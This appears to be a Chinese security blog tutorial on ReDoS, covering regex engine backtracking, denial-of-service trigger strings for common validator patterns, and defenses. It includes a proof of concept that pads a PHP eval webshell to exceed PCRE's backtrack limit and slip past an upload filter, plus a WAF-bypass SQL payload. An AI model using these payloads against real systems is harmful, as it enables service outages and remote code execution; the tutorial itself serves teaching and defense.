ReDos攻击浅析

DOS为拒绝服务攻击,re则是由于正则表达式使用不当,陷入正则引擎的回溯陷阱导致服务崩溃,大量消耗后台性能

正则

​ 探讨redos攻击之前,首先了解下正则的一些知识

执行过程

  • 大体的执行过程分为: 编译 -> 执行

  • 编译过程中,首先进行预编译,然后进入编译阶段

  • 执行的时候利用正则引擎进行匹配,最终得出匹配成功or失败

  • 编码过程中尽量使用预编译,并将预编译结果临时保存到全局变量,预编译的速度要比即用编辑快!

    -- coding:utf-8 --

    import re
    import time

    pattern = r"http://(?:.?\w+)+"

    text = r'xxx.com'

    预编译

    pattern_compile = re.compile(pattern)

    time_begin = time.time()
    for i in range(5000000):
    pattern_compile.match(text)
    print("compile total time = {0}".format(time.time() - time_begin))

    time_begin = time.time()

    未使用预编译

    for i in range(5000000):
    re.match(pattern, text)
    print("not compile total time = {0}".format(time.time() - time_begin))

    compile total time = 3.97600007057
    not compile total time = 11.0629999638

正则引擎

  • DFA-确定型有穷自动机

    • 捏着文本串去比较正则式,看到一个子正则式,就把可能的匹配串全标注出来,然后再看正则式的下一个部分,根据新的匹配结果更新标注
    • 文本串中每一个字符串只扫描一次,速度快,特征少
    • 文本主导,按照文本的顺序执行(确定型)
    • 没有回溯的过程,不能使用断言等正则高级语法
  • NFA-非确定性有穷自动机

    • 捏着正则式去比文本,吃掉一个字符,就把它跟正则式比较,匹配就记下来:"where when匹配上了!",接着往下干。一旦不匹配,就把刚吃的这个字符吐出来,一个个的吐,直到回到上一次匹配的地方
    • 反复吞吐文本字符,速度慢,特征丰富
    • 表达式主导,按照表达式主导执行
    • 有回溯的过程,能使用断言等正则高级语法

正则引擎使用场景

引擎类型 程序
DFA awk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail
传统型 NFA GNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi
POSIX NFA mawk、Mortice Lern System's utilities、GUN Emacs(明确指定时使用)
DFA/NFA混合 GNU awk、 GNU grep/egrep、 Tcl
  • 概括下,大多数高级语言都是使用NFA正则引擎,功能强大
  • 数据库则使用DFA正则引擎,如MongoDBMySQL

ReDos问题

​ 下面跳出正则部分,开始描述DOS部分

回溯陷阱

​ 前文我们已经提到NFA正则引擎的自身机制导致正则匹配有回溯的问题

eg: text = "aaaaaaaaaaaaaa", pattern=/^(a*)b$/

  • (a*),匹配到了文本中的aaaaaaaaaaaaaa
  • 匹配正则中b无法匹配,text中的所有的a都被(a*)吃了
  • 开始吐,吐一个a不行
  • 继续吐......
  • 到最后都不能匹配,如果文本a过多,回溯次数过多,Dos拒绝服务
  • 如果一个正则表达式有多个部分需要回溯,那么次数就是指数型。文本长度为100,两个部分需要回溯,则100^2 = 10000次,恐怖

eg:

复制代码
import re
import time

begin_time = time.time()
re.match("^(a+)+$", r"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!")

print("total time = {0}".format(time.time() - begin_time))

>>>
total time = 31.8870000839

一些ReDos样例

  • (a+)+
  • (a-zA-Z+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} | for x > 10

Payload: "aaaaaaaaaaaaaaaaaa!"

一些业务场景

  • Person Name:

    • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaa!
  • Java Classname

    • Regex: ^(([a-z])+.)+[A-Z]([a-z])+$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
  • Email Validation

    • Regex: ^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$
    • Payload: a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
  • Multiple Email address validation

    • Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*\s+<(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})>$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaa!
  • Decimal validator

    • Regex: ^\d*[0-9](|.\d*[0-9]|)*$
    • Payload: 1111111111111111111111111!
  • Pattern Matcher

    • Regex: ^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$
    • Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

小结下

  • 重复分组构造
  • 交替重叠

防御&&优化

​ 从开发or安全角度

  • 正则表达式书写注意,防止多处回溯(需要开发有一定的正则功底)
  • 文本串长度限制

最后的一个例子

一道php代码审计

复制代码
<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

$file_name = 'C:\phpStudy\WWW\xxx\webshell.php';
$user_dir = 'C:\phpStudy\WWW\xxx' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($file_name);
//$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    echo "successful";
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}
?>

代码最后的目的是绕过is_php函数的限制,写入php木马

如下,这个是绕不过正则的

复制代码
<?php
    @eval ($_REQUEST["xxx"]);
?>
  • 但是这个正则存在回溯陷阱问题
  • php中有最大回溯次数的限制。默认为1000000

payload

复制代码
'aaa<?php eval($_POST[txt]);//' + 'a' * 1000000
  • aaaaaaaa...aaaaaaaa会吃完正则中第一个.*,但是该payload不会匹配[(;?>]`,所以只能吐,进入回溯陷阱

生成POC文件

复制代码
# -*- coding:utf-8 -*-
# print('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)

filename = 'webshell_flag.php'
with open(filename, 'w') as file_object:
    file_object.write('aaa<?php eval($_POST[txt]);//' + 'a' * 1000000)

成功绕过

其它:

  • waf - 1

  • waf - 2

payload: UNION/*aaaaa*/SELECT (aaaaa吃掉第一个.+?,后续发现 S 和 * 不匹配,导致开始吐,进入陷阱)

上述的防御

  • preg_match对字符串进行匹配,一定要使用===全等号来判断返回值

    ].*/is', $data);

    }

    if(is_php(input) === 0) { // fwrite(f, $input); ...
    }

  • 因为正常情况返回 0, 1 ,超过回溯次数返回False

相关推荐
Chengbei118 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
李白你好15 小时前
一款面向渗透测试人员的综合工具集
渗透测试
谪星·阿凯16 小时前
后渗透痕迹清理实战指南
网络安全·后渗透清理
大方子17 小时前
【好靶场】他被什么加固了2?
网络安全·好靶场
admin and root19 小时前
Blade站点的渗透测试到MySQL数据库权限接管
数据库·mysql·web安全·渗透测试·移动安全·培训·src赏金
大方子19 小时前
【好靶场】他被什么加固了1?
网络安全·好靶场
大方子21 小时前
【PolarCTF】upload1
网络安全·polarctf
大方子1 天前
【PolarCTF】rapyiquan
网络安全·polarctf
锐速网络1 天前
SaaS云防护:DDoS/CC/爬虫一站式解决方案
网络安全·云waf·ddos防护·企业网站防护·saas云防护·cc攻击防护·恶意爬虫拦截
Chockmans1 天前
春秋云境CVE-2020-21652(极速版)
计算机网络·安全·web安全·网络安全·安全威胁分析·春秋云境·cve-2020-21652